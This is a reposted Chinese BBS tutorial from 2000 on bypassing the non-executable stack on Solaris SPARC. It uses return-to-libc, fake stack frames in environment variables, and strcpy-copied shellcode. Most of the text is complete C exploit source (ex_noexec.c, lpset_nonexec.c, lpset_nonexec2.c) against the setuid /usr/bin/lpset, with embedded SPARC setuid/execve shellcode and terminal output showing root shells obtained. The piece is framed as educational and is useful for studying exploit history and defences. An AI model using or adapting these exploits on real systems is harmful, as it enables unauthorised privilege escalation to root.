荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Lg (创造人生的传奇), 信区: Linux
标 题: Solaris for SPARC 堆栈溢出程序编写(2)
发信站: BBS 荔园晨风站 (Wed Jun 7 18:24:27 2000), 站内信件
【 以下文字转载自 Hacker 讨论区 】
【 原文由 Sealed 所发表 】
所有系统 Linux UNIX Windows Other
首页 >> 资料文献 >> Unix
Solaris for SPARC 堆栈溢出程序编写(2)
发布日期: 2000-5-18
内容:
--------------------------------------------------------------------------------
--- 摘自<<绿盟月刊>>第九期
Solaris for SPARC 堆栈溢出程序编写
作者: warning3 < warning3@hotmail.com >
主页：http://www.isbase.com
日期: 2000/05/05
3. 绕过不可执行堆栈保护的溢出程序编写
关于堆栈保护以及绕过堆栈保护的讨论已经持续了很长一段时间了，Solar Designer提
出了返回libc的方法，Nergal又提出了一种伪造堆栈帧利用strcpy来绕过不可执行堆栈
保护的方法，不过这些方法都是针对Linux系统的(我已经在另外的文章里专门介绍如何
绕过Solar Designer的Linux不可执行堆栈补丁的方法)。而在Solaris 2.6/7(SPARC平
台)中也提供了一种方法来禁止堆栈可执行，从而提高了系统的安全性,
即在/etc/system中加入两条语句:
set noexec_user_stack = 1
set noexec_user_stack_log = 1
第一条用来使用户的堆栈不可执行，第二条用来记录任何试图在堆栈中执行代码的尝试
。
(注意：需要重新启动系统来使之生效 )
然而，这种保护机制仍然是可以绕过的，Horizon<jmcdonal@unf.edu>首先分析了利用返
回libc的方法击败Solaris不可执行堆栈的保护。下面我们就来介绍一下这种方法。
3.1 基本思路
Solaris的不可执行堆栈保护好像只是检查返回地址是不是在堆栈中，如果是，就报段错
误，并记录，并没有做什么其他的措施。我们只要不返回堆栈就可以了，那我们去哪里
呢？可以代码段，也可以是可执行的数据段。我们通常要做的是得到一个shell。如果能
执行system("/bin/sh")就可以了，我们可以在共享库中找到system()的地址,用它来做
返回地址，参数"/bin/sh"可以从共享库中找(通常都会包含)，也可以通过环境变量传递
。
仍然以前面的vul.c为例，如果我们要写一个测试程序，执行流程通常是这样的：
<1> 首先给strcpy提供长参数
<2> strcpy()将覆盖main()函数栈帧中保存的%i和%l寄存器内容
<3> func()函数执行resotre指令，CWP(寄存器窗）加一，然后我们覆盖的%i和%l值被从
堆栈中取出，放入寄存器%i和%l中,%i变成%o 。程序返回到main()中执行。
<4> main()函数又会执行ret/restore指令，ret指令会跳到(%i7+8)处执行，restore指
令将使CWP再增加一，并将%i变成%o（%i0变成了%o0)。
如果我们覆盖时将保存的%i0用"/bin/sh"的地址代替，保存的%i7用(system()的地址-
8)
代替，那么这时候程序就会执行system("/bin/sh")了。当调用system()函数的时候，会
先执行一条'save'指令，将%o0变成%i0.由于system()的地址不在堆栈段内，因此并不会
违反保护规则。
3.2 一个针对vul.c的测试程序ex_noexec.c
明白了上述过程，我们可以写测试程序了：
--------------------------------------------------------------------------------
/* ex_noexec.c
* simple test exploit for Solaris with noexec_stack feature.
* by warning3 <wanring3@hotmail.com>
* y2k/5/5
*/
#include <stdio.h>
#include <dlfcn.h>
#include <signal.h>
#include <setjmp.h>
#define VULPROG "./vul"
#define BUFSIZE 8 /* the size of overflowed buffer*/
int step; /* 搜索"/bin/sh"时的步长和方向 */
jmp_buf jmpenv; /* 定义一个jmp_buf来储存当前栈帧 */
void fault()
{
if (step<0) /* 如果步长小于0,恢复保存的栈帧，setjmp()返回1值,反方向搜索 */
longjmp(jmpenv,1);
else /* 如果步长大于0,说明已经两个方向都搜索完毕，报错 */
{
printf("Couldn't find /bin/sh at a good place in libc.\n");
exit(1);
}
}
long get_sp(void) /* 得到当前堆栈指针地址 */
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[1]; /* 环境变量指针数组 */
void *handle; /* 动态联接库句柄 */
long system_addr; /* system()的地址 */
char *pattern; /* 构造覆盖数据的buffer */
long sh_addr, i, fp_addr;
long bufsize=BUFSIZE, patternsize ;
long *addrptr;
if( argc > 1 ) bufsize = atoi(argv[1]);
/* 设置一个可用(写)的fp地址，运行system()时会用到 */
fp_addr = (get_sp() | 0xffff) & 0xfffffac0;
printf("Usages: %s <bufsize> \n", argv[0] );
printf("Using FP address = 0x%x, Bufsize = %d\n", fp_addr, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY))) /* 打开当前使用的动态连结库 */
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
/* 找到system()的地址 */
if ((system_addr=(long)dlsym(handle,"system"))==NULL)
{
fprintf(stderr,"Can't find system().\n");
exit(1);
}
system_addr -= 8; /* 因为ret时,会跳到(%i7+8)处去执行，所以这里要减8 */
/* 检查是不是包含零字节 */
if (!(system_addr & 0xff) || !(system_addr * 0xff00) ||
!(system_addr & 0xff0000) || !(system_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("found system() at 0x%lx\n",system_addr);
/* 在libc库中搜索"/bin/sh"地址，这是Solar Designer提供的方法 */
if (setjmp(jmpenv)) /* 如果setjmp返回1,设置搜索步长为1 */
step=1;
else /* 如果setjmp返回0(缺省返回0),设置搜索步长为-1 */
step=-1;
sh_addr=system_addr; /* 设置起始搜索地址为system()地址 */
signal(SIGSEGV,fault); /* 设置信号捕捉，当搜索导致段错误时，执行fault()
*/
/* 在system()地址的两侧搜索"/bin/sh"地址 */
while (memcmp((void *)sh_addr, "/bin/sh", 8)) sh_addr+=step;
/* 检查得到的地址是否包含零字节 */
if (!(sh_addr & 0xff) || !(sh_addr & 0xff00) || !(sh_addr & 0xff0000)
|| !(sh_addr & 0xff000000))
{
fprintf(stderr,"the address of \"/bin/sh\" contains a '0'.
sorry.\n");
exit(1);
}
printf("found \"/bin/sh\" at 0x%lx\n",sh_addr);
/* 为覆盖数据分配空间 */
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
/* 指针移动到保存的%l0处 */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7，这些内容可以填充任意数据 */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = sh_addr; /* %i0 ，用"/bin/sh"地址填充 */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6), 这个%fp必须是可用的地址
*/
*addrptr++ = system_addr; /* saved ret addr (%i7), (system() - 8 ) */
env[0]=NULL;
execle(VULPROG, VULPROG, pattern,NULL,env);
} /* end of main */
------------------------------------------------------------------------------
bash-2.03$ ./exp <--- 先来试试原来的方法
Usages: ./exp <align> <offset> <bufsize>
Using RET address = 0xffbefd2c ,Bufsize = 8, Offset = 1500, Align= 0
CCCCCCCCCCCCCCCCCCCCCCCC�?,�?,�?,�?,�?,�?,�?,�?,�?,�?,�?,�?,�?,�?,
�?,�?,C
段错误 <--- 失败了
bash-2.03$ tail -1 /var/adm/messages <--- 看看messages里的记录
May 5 16:12:07 sun1 unix: NOTICE: vul[13199] attempt to execute code on stack
by uid 100
bash-2.03$ ./ex_exec <--- 试试我们的新程序
Usages: ./ex_exec <offset> <bufsize>
Using FP address = 0xffbefac0, Bufsize = 8
found system() at 0xff30c9c4
found "/bin/sh" at 0xff320e94
CCCCCCCCCCCCCCCCCCCCCCCC�??菌?菌?菌?菌?菌?菌?菌?2?菌?菌?菌?菌?菌?菌?0赡C
$ id
uid=100(warning3) gid=1(other) <--- 成功了 :)
$ exit
^C
bash-2.03$
3.3 不能得到root shell的分析以及解决方法
我们看到，我们成功得到了一个shell,但是却没有得到root shell.这是因为system
(cmsd)实际上是执行了"/bin/sh -c cmd",而Solaris 下的/bin/sh如果检查到进程的
euid=0但用户真实uid不为0,就会将进程euid设置成用户真实uid,因此，在这种情况下
，我们是无法通过system()来获得root shell的。
（另外我们注意到在"exit"的时候，进程死掉了，必须按Ctrl_C终止，这是因为当
system()执行save后，%o7会变成%i7,当system()重新ret/restore时,程序又会跳到
(%i7+8),这样程序就陷入死循环了。有另外的办法来解决这个问题，后面我们会提到）
那么我们可不可以先执行一个setuid(0),然后再执行system()来获得root shell呢？
理论上似乎是可行的。只要再构造一个setuid()的假栈帧就可以了。但是实际上是行不
通的，因为SPARC平台下的函数有两种，一种是leaf(叶函数），一种是非leaf（页)函数
.leaf函数通常比较简单，为了提高效率，它们不是利用堆栈传递参数，而只是利用out
寄存器，因此，在leaf函数的过程调用中是没有save和restore指令的，它们返回时使用
retl而不是ret指令。retl等价于：
jmpl %o7, 8, %g0 （注意不是 %i7 + 8 )
而非leaf函数则使用save/restore指令保存/恢复栈帧，并使用ret返回.
在跳到leaf函数执行的时候，retl时又会跳到(%o7+8)去执行，这就陷入了死循环(因为
%o7就是setuid()的地址-8)，而且没有办法解决。因此我们的system()也就永远不会被
继续执行了。
我们看个简单的leaf函数的例子来加深一下理解：
bash-2.03$ cat > set.c
main()
{
setuid(0);
}
^D
bash-2.03$ gcc -o set set.c -static
bash-2.03$ gdb ./set
GNU gdb 4.18
<....>
No symbol "set" in current context.
(gdb) disass main
Dump of assembler code for function main:
0x101b8 <main>: save %sp, -112, %sp
0x101bc <main+4>: clr %o0
0x101c0 <main+8>: call 0x10d74 <setuid>
0x101c4 <main+12>: nop
0x101c8 <main+16>: ret
0x101cc <main+20>: restore
End of assembler dump.
(gdb) disass setuid
Dump of assembler code for function setuid:
0x10d74 <setuid>: mov 0x17, %g1 <--- 没有save指令
0x10d78 <setuid+4>: ta 8
0x10d7c <setuid+8>: bcc 0x10d90 <setuid+28>
0x10d80 <setuid+12>: sethi %hi(0x16400), %o5
0x10d84 <setuid+16>: or %o5, 0x328, %o5 ! 0x16728 <_cerror>
0x10d88 <setuid+20>: jmp %o5
0x10d8c <setuid+24>: nop
0x10d90 <setuid+28>: retl <--- 不是ret指令
0x10d94 <setuid+32>: mov %g0, %o0 <--- 没有restore指令
End of assembler dump.
(gdb)
那么我们用什么办法来解决问题呢？考虑一下我们的shellcode,通常都是执行的
execl("/bin/sh","/bin/sh",NULL). 那么我们也可以通过直接使用execl()来执行任意
命令。既然我们不能利用/bin/sh,可以考虑执行/bin/ksh(它没有这个限制),或者/tmp/
blah,一样可以达到我们的目的。
--------------------------------------------------
/* gcc -o /tmp/blah /tmp/blah.c */
main()
{
setuid(0);
execl("/bin/sh","/bin/sh",0);
}
---------------------------------------------------
麻烦的是execl()的第三个参数是0,因此我们不能将它通过参数传递，我们考虑另外一种
方法：
在环境变量中构造一个假的栈帧，将execl()用的参数放进去。
这种方法也可以用来执行一串非leaf函数（构造多个假栈帧),只要将第二个要执行的函
数
的地址放到第一个函数栈帧的%i7中，并将第一个函数栈帧的%fp指向第二个函数的栈帧
起
始地址就行了。但是这种方法有一点要注意的就是我们需要跳过该非leaf函数的save指
令
。
堆栈低址
__________
%fp | %l0-%l7 | 8*4 保存main()的%l0-%l7寄存器
|__________|
%fp+32 | %i0-%i5 | 6*4 保存main()的%i0-%i5寄存器
|__________|
%fp+56 | %fp1 | 1*4 = 指向环境变量中的假栈帧 ---\
|__________| |
%fp+60 | %i7 | 1*4 = (execl()-4) |
|__________| |
|
环境变量： |
__________ |
%fp1 | %l0-%l7 | 8*4 <-----------------------------/
|__________|
%fp1+32| %i0 | 1*4 = "/bin/sh"的地址
|__________|
%fp1+36| %i1 | 1*4 = "/bin/sh"的地址
|__________|
%fp1+40| %i2 | 1*4 = 0x00000000
|__________|
%fp1+44| %i3 | 1*4 = 任意数据
|__________|
%fp1+48| %i4 | 1*4 = 任意数据
|__________|
%fp1+52| %i5 | 1*4 = 任意数据
|__________|
%fp1+56| %fp2 | 1*4 = 指向下一个非leaf函数的假栈帧 --------> ....
|__________|
%fp1+60| %i7 | 1*4 = 下一个非leaf函数地址 - 4
|__________|
堆栈高址
当我们覆盖掉main()函数的保存的%l和%i后，当func()执行第一个ret/resotre
，返回到main()里面，这时%fp就指向了环境变量中的假栈帧地址，%i7=(execl()-4)
当main()函数再次执行ret/resotre时，%fp中保存的假栈帧内容被恢复到%l和%i寄存器
里，这时候我们的execl()所需要的三个参数已经在%i0/%i1/%i2中了，而现在的%o0-%o7
就是我们覆盖的main()函数的栈帧内容。如果按照原来的做法，现在应该跳到execl()
处去执行，然后执行save指令，将%o再变成%i.但是既然我们所要的参数已经在%i中了，
我们就不必再执行save指令了，所以我们原来填充的是(execl()-4),这样(%i7+8)=
(execl()+4),刚好跳过save指令，而当我们执行完execl()返回的时候,ret/resotre指令
会从%fp2所指的栈帧中恢复%i和%l,并跳到(%i7+8)处（也就是 (下一个非leaf函数地址
+ 4) )执行,以此类推，就可以顺序执行多个非leaf函数。
注意：其实execl()正确执行完后是不会返回的，因此(%i7+8)通常并不会被执行到.
（除非execl()执行失败).
3.4 关于假栈帧地址的确定
因此这里的一个关键问题是如何确定环境变量中假栈帧的地址，这个地址必须非常精确
，
否则execl()执行肯定会失败。我们使用execle()来调用有弱点的程序，execle()允许我
们自己定制环境变量的内容，这样可以最大限度的消除不同用户由于环境变量不同而导
致的假栈帧地址的差别。Solaris堆栈的最顶端总是包含程序的路径以及系统平台结构信
息。例如：
低址
|
| __________
| | 堆栈区 |
| |__________|
| | 环境变量 |
| |__________|
|sp_addr| 平台信息 |
| |__________|
| | 程序路径 |
| |__________|
| |0x00000000| 1*4 最后四个字节总是0
| |__________|
v0xffbf0000 (Solaris 7)
高址
平台信息和程序路径的长度都可以确定，但是sp_addr的地址并不是简单的等同于
0xffbf000 - 4 - 平台信息长度 - 程序路径长度 - 2
而是还要再减去个偏移量，我测试了多次，这个值通常是0-5之间。
简单的看个例子：
bash-2.03# gdb ./ex2
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10c9c
(gdb) r
Starting program: /export/home/warning3/test/non/./ex2
Breakpoint 1, 0x10c9c in main ()
(gdb) x/200s 0xffbeff00
<.......>
0xffbeff93: "TERM=vt100"
0xffbeff9e: "PATH=/usr/local/bin:/usr/sbin:/usr/bin"
0xffbeffc5: "SUNW,Ultra-5_10" <--- 平台信息，不同的机器可能不一样
0xffbeffd5: "/export/home/warning3/test/non/ex2" <-- 路径信息
0xffbefff8: ""
0xffbefff9: ""
0xffbefffa: ""
0xffbefffb: ""
0xffbefffc: ""
0xffbefffd: ""
0xffbefffe: ""
0xffbeffff: ""
0xffbf0000: <Address 0xffbf0000 out of bounds>
0xffbf0000: <Address 0xffbf0000 out of bounds>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/20x 0xffbeffc0
0xffbeffc0: 0x2f62696e 0x0053554e 0x572c556c 0x7472612d
0xffbeffd0: 0x355f3130 0x002f6578 0x706f7274 0x2f686f6d
0xffbeffe0: 0x652f7761 0x726e696e 0x67332f74 0x6573742f
0xffbefff0: 0x6e6f6e2f 0x65783200 0x00000000 0x00000000
0xffbf0000: Cannot access memory at address 0xffbf0000.
(gdb)
3.5 一个实际的例子lpset_nonexec.c
现在我们就可以来写一个新的测试程序了，还是以lpset为例：
--------------------------------------------------------------------------------
-
/* ---> lpset_nonexec.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
*
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
* ./lpset_nonexec <offset> <bufsize>
* by warning3@hotmail.com
* y2k/05/05
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define VULPROG "/usr/bin/lpset"
#define SHELL "/bin/ksh"
#define PRINTER "blah"
#define BUFSIZE 944 /* the size of overflowed buffer*/
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
#define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[7];
char fakeframe[512];
char plat[256];
void *handle;
long execl_addr;
char *pattern;
long sh_addr, i, sp_addr,fp_addr, fp2_addr;
long bufsize=BUFSIZE, offset=OFFSET, patternsize ;
long *addrptr;
if( argc > 1 ) offset = atoi(argv[1]);
if( argc > 2 ) bufsize = atoi(argv[2]);
/* get plat info */
sysinfo(SI_PLATFORM,plat,256);
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* fp2_addr must be valid stack address */
fp2_addr = (sp_addr & 0xfffffac0);
/* get shell string address */
sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) -
strlen(SHELL) -2 ;
/* get our fake frame address */
fp_addr = sh_addr - 8*8 -1;
printf("Usages: %s <offset> <bufsize> \n", argv[0] );
printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d,
Bufsize = %d\n",
sh_addr, fp_addr, offset, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((execl_addr=(long)dlsym(handle,"execl"))==NULL)
{
fprintf(stderr,"Can't find execl().\n");
exit(1);
}
/* dec 4 to skip the 'save' instructure */
execl_addr -= 4;
/* check if the exec addr includes zero */
if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) ||
!(execl_addr & 0xff0000) || !(execl_addr & 0xff000000))
{
fprintf(stderr,"the address of execl() contains a '0'. sorry.\n");
exit(1);
}
printf("found execl() at 0x%lx\n",execl_addr);
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
/* construct pattern buffer to overwrite the vul program */
memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage
*/
memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7 */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = fp_addr; /* %i0 */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6) */
*addrptr++ = execl_addr; /* saved ret addr (%i7) */
/* now we set up our fake stack frame */
addrptr=(long *)fakeframe;
*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++=sh_addr; /* points to our string to exec */
*addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */
*addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */
*addrptr++=fp2_addr; /* &fakeframe[44] */
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr; /* we need this address to work */
*addrptr++=fp2_addr; /* cause we don't need exec another func,so put
garbage here */
*addrptr++=0x0;
/* Construct fake frame in environ */
/* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
env[0]=(fakeframe); /* sh_addr|sh_addr|0x00 */
env[1]=&(fakeframe[40]);/* |0x00 */
env[2]=&(fakeframe[40]);/* |0x00 */
env[3]=&(fakeframe[40]);/* |0x00 */
env[4]=&(fakeframe[44]);/*
|fp2|fp2|fp2|fp2|fp2*/
env[5]=SHELL; /* shell strings */
env[6]=NULL;
/* adjust pattern size by printer length */
execle(VULPROG, VULPROG,"-n","fns","-a"
, (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);
}
--------------------------------------------------------------------------------
-
再来测试一下：
bash-2.03$ gcc -o lpset_nonexec lpset_nonexec.c -ldl
bash-2.03$ ./lpset_nonexec
Usages: ./lpset_nonexec <offset> <bufsize>
Using SHELL address = 0xffbeffd1 ,FP address = 0xffbeff90, Offset = 4, Bufsize
= 944
found execl() at 0xff30da9c
# id
uid=100(warning3) gid=1(other) euid=0(root) <---- 成功了!
注意：
在不同的系统上(主要是硬件平台不同)，offset的值可能有不同，需要做一些调整.
3.6 利用strcpy()拷贝shellcode
如果你仍然非要用setuid(0),然后执行execl()的办法，我们再介绍一种方法，利用
strcpy()将我们的shellcode拷贝到内存中的某些可写的部分去，然后跳到那里去执行。
我们的做法是将我们的shellcode放到环境变量中，起始地址作为strcpy()的源地址，
strcpy()的目的地址可以在可写可执行的非堆栈空间中找，然后将假栈帧中的%i7用这
个目的地址代替。这样，当strcpy()完成拷贝后，程序就跳到(目的地址+8)处执行
（在shellcode前面加几个NOP指令即可)。
这里比较麻烦的是怎么找这个目的地址，Solaris 提供了几个显示进程内存信息的程序
在/usr/proc/bin下面。/usr/proc/bin/pmap可以显示进程空间的映射情况。我们可以
利用它来找到目的地址：
bash-2.03# gdb lpset
GNU gdb 4.18
<......>
(gdb) b main
Breakpoint 1 at 0x10de0
(gdb) r
Starting program: /usr/bin/lpset
<.....>
(gdb)
在另一个终端窗口查找lpset的pid,然后运行pmap:
bash-2.03# ps -ef|grep lpset
root 14439 1 0 22:56:33 pts/3 0:00 /usr/bin/lpset
bash-2.03# /usr/proc/bin/pmap 14439
14439: /usr/bin/lpset
00010000 8K read/exec /usr/bin/lpset
00020000 8K read/write/exec /usr/bin/lpset
FF3B0000 120K read/exec dev:136,0 ino:100273
FF3DC000 8K read/write/exec dev:136,0 ino:100273 <--- 这里是可写可执行的
FFBEC000 16K read/write [ stack ]
total 160K
bash-2.03#
我们可以将DEST定义为0xff3dc0c0,在Solaris 2.6下这个地址是不一样的。
3.7 一个实际的例子lpset_nonexec1.c
下面是测试程序，和前面那个差别不大，就不多说了，看看注释应该就明白了。
--------------------------------------------------------------------------------
-
/* ---> lpset_nonexec2.c <---
* expoit for lpset in Solaris 2.6/7 sparc version with non-exec-statck feature.
* this exploit using strcpy() method.
* It is one test for writing exploits in Sparc to defeat non-exec statck,
* just for EDUCATIONAL purpose.:)
* tested in Solaris 2.6/7 /sparc.
* Usages:
* gcc -o exn2 lpset_nonexec2.c -ldl
* ./exn2 <offset> <bufsize>
* by warning3@hotmail.com
* y2k/05/05
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <dlfcn.h>
#define VULPROG "/usr/bin/lpset"
#define PRINTER "blah"
#define BUFSIZE 944 /* the size of overflowed buffer*/
#define EGGSIZE 1024 /* the egg buffer size */
#define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */
#define OFFSET 4 /* if don't work ,try adjust offst to 0 - 5 */
#define DEST 0xff3dc0c0 /* in Solaris 7, the dest address that shellcode
was strcpyed */
/* in Solaris 2.6 , #define DEST 0xef7fa0a0 */
char shellcode[] = /* from scz's funny shellcode for SPARC */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */
"\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29"
"\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e"
"\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff";
long get_sp(void)
{
__asm__("mov %sp,%i0");
}
main( int argc, char **argv )
{
char *env[3];
char fakeframe[512];
char plat[256];
void *handle;
long strcpy_addr, dest_addr=DEST;
char *pattern,eggbuf[EGGSIZE];
long sh_addr, i, sp_addr,fp_addr, fp2_addr;
long bufsize=BUFSIZE, offset=OFFSET, patternsize ;
long *addrptr;
if( argc > 1 ) offset = atoi(argv[1]);
if( argc > 2 ) bufsize = atoi(argv[2]);
/* get plat info */
sysinfo(SI_PLATFORM,plat,256);
sp_addr = (get_sp() | 0xffff) & 0xfffffffc;
/* fp2_addr must be valid stack address */
fp2_addr = (sp_addr & 0xfffffac0);
/* get shell string address */
sh_addr = sp_addr - strlen(VULPROG) - offset - strlen(plat) -
sizeof(eggbuf) -2 ;
/* get our fake frame address */
fp_addr = sh_addr - 8*8 -1;
printf("Usages: %s <offset> <bufsize> \n", argv[0] );
printf("Using SHELL address = 0x%x ,FP address = 0x%x, Offset = %d
, Bufsize = %d\n", sh_addr, fp_addr, offset, bufsize );
if (!(handle=dlopen(NULL,RTLD_LAZY)))
{
fprintf(stderr,"Can't dlopen myself.\n");
exit(1);
}
if ((strcpy_addr=(long)dlsym(handle,"strcpy"))==NULL)
{
fprintf(stderr,"Can't find strcpy().\n");
exit(1);
}
/* dec 4 to skip the 'save' instructure */
strcpy_addr -= 4;
/* check if the exec addr includes zero */
if (!(strcpy_addr & 0xff) || !(strcpy_addr * 0xff00) ||
!(strcpy_addr & 0xff0000) || !(strcpy_addr & 0xff000000))
{
fprintf(stderr,"the address of strcpy() contains a '0'. sorry.\n");
exit(1);
}
printf("found strcpy() at 0x%lx\n",strcpy_addr);
printf("Use shellcode destination at 0x%lx\n",dest_addr);
patternsize = bufsize + 4*4 + 16*4 + 1;
if((pattern = (char *)malloc(patternsize)) == NULL) {
printf("Can't get enough memory!\n");
exit(-1);
}
/* construct pattern buffer to overwrite the vul program */
memset(pattern, 'C', patternsize);/* fill pattern buffer with garbage */
memset(pattern+20, 0x3d, 1); /* put '=' into buf, man lpset for why */
addrptr = (long *) (pattern + bufsize + 4*4 );
/* Let's overwrite caller function's saved stack frame
I know it's ugly,but just make it more clearly .:)
*/
/* saved %l0-%l7 */
*addrptr++ = fp_addr; /* %l0 */
*addrptr++ = fp_addr; /* %l1 */
*addrptr++ = fp_addr; /* %l2 */
*addrptr++ = fp_addr; /* %l3 */
*addrptr++ = fp_addr; /* %l4 */
*addrptr++ = fp_addr; /* %l5 */
*addrptr++ = fp_addr; /* %l6 */
*addrptr++ = fp_addr; /* %l7 */
/* saved %i0-%i7 */
*addrptr++ = fp_addr; /* %i0 */
*addrptr++ = fp_addr; /* %i1 */
*addrptr++ = fp_addr; /* %i2 */
*addrptr++ = fp_addr; /* %i3 */
*addrptr++ = fp_addr; /* %i4 */
*addrptr++ = fp_addr; /* %i5 */
*addrptr++ = fp_addr; /* saved %fp(%i6) */
*addrptr++ = strcpy_addr; /* saved ret addr (%i7) */
/* now we set up our fake stack frame */
addrptr=(long *)fakeframe;
*addrptr++= 0x12345678; /* you can put any data in local registers */
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++= 0x12345678;
*addrptr++=dest_addr; /* destination address */
*addrptr++=sh_addr; /* source address of shellcode */
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr;
*addrptr++=fp2_addr; /* we need this address to work */
*addrptr++=dest_addr; /* we will jump (dest_addr+8) to run */
*addrptr++=0x0;
memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */
for (i = 0; i < EGGSIZE; i+=4) /* fill with NOP */
{
eggbuf[i+3]=NOP & 0xff;
eggbuf[i+2]=(NOP >> 8 ) &0xff;
eggbuf[i+1]=(NOP >> 16 ) &0xff;
eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */
}
/* Notice : we assume the length of shellcode can be divided exatcly by 4 .
If not, exploit will fail. Anyway, our shellcode is. ;-)
*/
memcpy(eggbuf + EGGSIZE - strlen(shellcode) , shellcode, strlen(shellcode));
/* Construct fake frame in environ */
env[0]=(fakeframe); /* dest_addr|sh_addr|fp2|fp2|fp2|fp2|fp2|dest_addr */
env[1]=eggbuf;
env[2]=NULL;
/* adjust pattern size by printer length */
execle(VULPROG, VULPROG,"-n","fns","-a"
, (pattern+strlen(PRINTER)-4), PRINTER,NULL,env);
} /* end of main */
--------------------------------------------------------------------------------
----------
测试一下：
bash-2.03$ gcc -o exn2 lpset_nonexec2.c -ldl
bash-2.03$ ./exn2
Usages: ./exn2 <offset> <bufsize>
Using SHELL address = 0xffbefbd9 ,FP address = 0xffbefb98, Offset = 4, Bufsize
= 944
found strcpy() at 0xff2b6960
Use shellcode destination at 0xff3dc0c0
sh: C: not found
# id
uid=0(root) gid=1(other) <---- 成功！
4. 结束语
上面只是介绍一些基本的方法和思路，在实际应用的时候，还可能会碰到很多问题。
例如，有些情况下，%i0-%i5的值是不能随便填的，否则将导致函数不能正常返回，
只能具体情况具体分析。毕竟这只是入门性质的文章，抛块砖头罢了。
